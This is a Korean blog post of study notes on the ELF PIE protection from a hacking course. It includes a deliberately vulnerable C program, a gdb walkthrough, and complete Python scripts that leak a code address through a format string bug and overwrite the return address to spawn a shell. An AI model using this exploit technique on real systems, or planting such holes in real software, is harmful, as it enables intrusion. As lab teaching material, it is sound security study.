시스템 해킹/dream hack

[dream hack] PIE

ruming 2021. 2. 28. 19:39

PIE

ELF의 Position Independent Executable 보호기법과 우회 방법

PIE : Executable, 즉 바이너리가 로딩될 때 랜덤한 주소에 매핑되는 보호기법

원리는 공유 라이브러리와 비슷하다. 컴파일러는 바이너리가 메모리 어디에 매핑되어도 실행에 지장이 없도록 바이너리를 위치 독립적으로 컴파일한다. → 코드 영역의 주소 랜덤화 가능

PIE가 설정되어 있으면 코드 영역의 주소가 실행될 때마다 변하기 때문에 ROP와 같은 코드 재사용 공격을 막을 수 있다.

 

no_pie.c

//gcc -o no_pie no_pie.c -m32
#include <stdio.h>
int main(void){
  printf("MAIN addr : 0x%p\n", &main);
}

 

pie.c

//gcc -o pie pie.c -m32 -fPIC -pie
#include <stdio.h>
int main(void){
  printf("MAIN addr : 0x%p\n", &main);
}

 

Bypassing PIE

PIE 보호기법을 우회하기 위해서는 코드 영역의 주소를 알아내야 한다.

PIE 보호기법이 설정되어 있을 때 코드 영역은 공유 라이브러리처럼 메모리에 로딩되기 때문에 libc.so.6 라이브러리 주소를 구하는 과정과 같이 특정 코드 영역의 주소를 알아낸다면 코드 영역 베이스 주소를 구할 수 있다. 구한 주소로 오프셋 계산을 통해 코드나 데이터 영역의 주소를 구할 수 있다.

 

example8.c

// gcc -o example8 example8.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fPIC -pie
#include <stdio.h>
void give_shell(void){
  system("/bin/sh");
}
void vuln(void){
  char buf[32] = {};
  printf("Input1 > ");
  read(0, buf, 512);    // Buffer Overflow
  printf(buf);          // Format String Bug
  printf("Input2 > ");
  read(0, buf, 512);    // Buffer Overflow
}
int main(void){
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  vuln();
}

example8.c에는 두 종류의 취약점이 존재함.

1. 스택 버퍼 오버플로우

2. 포맷 스트링 버그

 

gdb로 vuln함수를 디스어셈블

$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x000006f5 <+0>:	push   ebp
   0x000006f6 <+1>:	mov    ebp,esp
   0x000006f8 <+3>:	push   ebx
   0x000006f9 <+4>:	sub    esp,0x20

주소가 오프셋 형태로 출력됨을 확인.

 

바이너리에는 쉘을 실행시켜주는 give_shell 함수가 있다. 포맷 스트링 버그를 이용해 give_shell 함수의 주소를 구한 후, 스택 버퍼 오버플로우 취약점으로 리턴 주소를 give_shell 함수의 주소로 덮어 쉘을 실행해보자.

 

printf(buf)를 실행하는 시점에 브레이크포인트를 설정해 스택 메모리 살펴보기

printf가 호출되는 시점의 스택 메모리

$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x780
Starting program: ~/example8 
Temporary breakpoint 1, 0x56555780 in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
...
   0x00000745 <+80>:	add    esp,0xc
   0x00000748 <+83>:	lea    eax,[ebp-0x24]
   0x0000074b <+86>:	push   eax
   0x0000074c <+87>:	call   0x510 <printf@plt>
...
End of assembler dump.
(gdb) b *0x5655574c
Breakpoint 2 at 0x5655574c
(gdb) c
Continuing.
Input1 > aaaabbbbcccc
Breakpoint 2, 0x5655574c in vuln ()
(gdb) x/40wx $esp
0xffffd524:	0xffffd528	0x61616161	0x62626262	0x63636363
0xffffd534:	0x0000000a	0x00000000	0x00000000	0x00000000
0xffffd544:	0x00000000	0x56557000	0xffffd558	0x565557be
0xffffd554:	0x00000000	0x00000000	0xf7e19637	0x00000001
0xffffd564:	0xffffd5f4	0xffffd5fc	0x00000000	0x00000000
0xffffd574:	0x00000000	0xf7fb3000	0xf7ffdc04	0xf7ffd000
0xffffd584:	0x00000000	0xf7fb3000	0xf7fb3000	0x00000000
0xffffd594:	0xb988c975	0x8509e765	0x00000000	0x00000000
0xffffd5a4:	0x00000000	0x00000001	0x56555560	0x00000000
0xffffd5b4:	0xf7fee010	0xf7fe8880	0x56557000	0x00000001
(gdb) x/s 0xffffd528
0xffffd528:	"aaaabbbbcccc\n"
(gdb)

x/40wx $esp로 출력된 메모리는 printf(buf)를 실행하는 시점의 스택 메모리다. 스택 메모리를 보면 0xffffd550에 바이너리 코드 영역의 주소인 0x565557be이 저장되어 있는 것을 볼 수 있다. 0x565557be는 vuln함수의 리턴주소다. (main+66의 주소) 포맷 스트링 버그를 이용해 0xffffd550에 있는 값을 출력시켜보자. 0x61616161이 저장되어 있는 0xffffd528이 첫 번째 포맷 스트링에 대한 인자 위치이므로 11번째 포맷에서 스택에 저장된 0x565557be를 출력시킬 수 있다.

Input1 > %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
255f7825_78255f78_5f78255f_255f7825_78255f78_5f78255f_255f7825_78255f78_5655700a_ffffd558_565557be

11번째 "%x"에 대한 결과로 565557be가 출력되어 바이너리의 코드 주소를 알아냈다. 이 주소를 이용해 give_shell의 주소를 계산한다.

(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x565556d0 <give_shell>
(gdb) p/x 0x565557be - 0x565556d0
$2 = 0xee
(gdb) 

give_shell 함수의 주소는 0x565557be - 0xee 인것을 확인했다.

 

exmaple8_leak.py

#!/usr/bin/python
'''
example8_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
writeline(s, "%x_"*11)
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16)            # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)

give_shell 함수의 주소를 구하는 파이썬 스크립트

 

$ python example8_leak.py
Input1 > 
vuln_ret_addr @ 0x565b67be
give_shell @ 0x565b66d0

실행하면 give_shell 함수의 주소가 출력됨

 

example8.c의 스택 오버플로우 취약점을 이용해 vuln함수의 리턴 주소를 give_shell 주소로 덮어 쉘을 실행해보자.

buf로부터 리턴 주소까지의 오프셋은 40바이트이므로 최종 공격 페이로드는 다음과 같다.

"A"*40+ give_shell

 

example8.py

#!/usr/bin/python
'''
example8.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
write(s, "%x_"*11+"\n\x00")
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16)            # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
read(out_r, 1024)
payload  = "A"*40
payload += p32(give_shell)
write(s, payload)
print "[+] get shell"
while True:
  cmd = raw_input("$ ")
  writeline(s, cmd)
  res = read(out_r, 102400)
  sys.stdout.write(res+'\n')

example8에 대한 익스플로잇 코드

 

실행하면 쉘이 획득된다.

$ python example8.py
Input1 > 
vuln_ret_addr @ 0x565eb7be
give_shell @ 0x565eb6d0
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$ 

 

PIE가 설정되어 있는지 확인하는 방법

PIE 보호기법이 적용되어 있는 ELF 바이너리는 실행될 때 메모리의 동적 주소에 로딩된다.

이러한 성질로 readelf를 이용해 바이너리의 type header를 검사하는 것으로 바이너리의 PIE 적용 여부를 체크 가능함.

$ readelf -h ./no_pie | grep Type
  Type:                              EXEC (Executable file)
$ readelf -h ./pie | grep Type
  Type:                              DYN (Shared object file)

type header의 경우 일반적인 실행 파일은 EXEC, 라이브러리와 같은 shared 파일은 DYN값을 갖는다.

PIE가 적용되어 있지 않은 바이너리의 타입은 EXEC이고 적용되어 있는 바이너리의 타입은 DYN이다.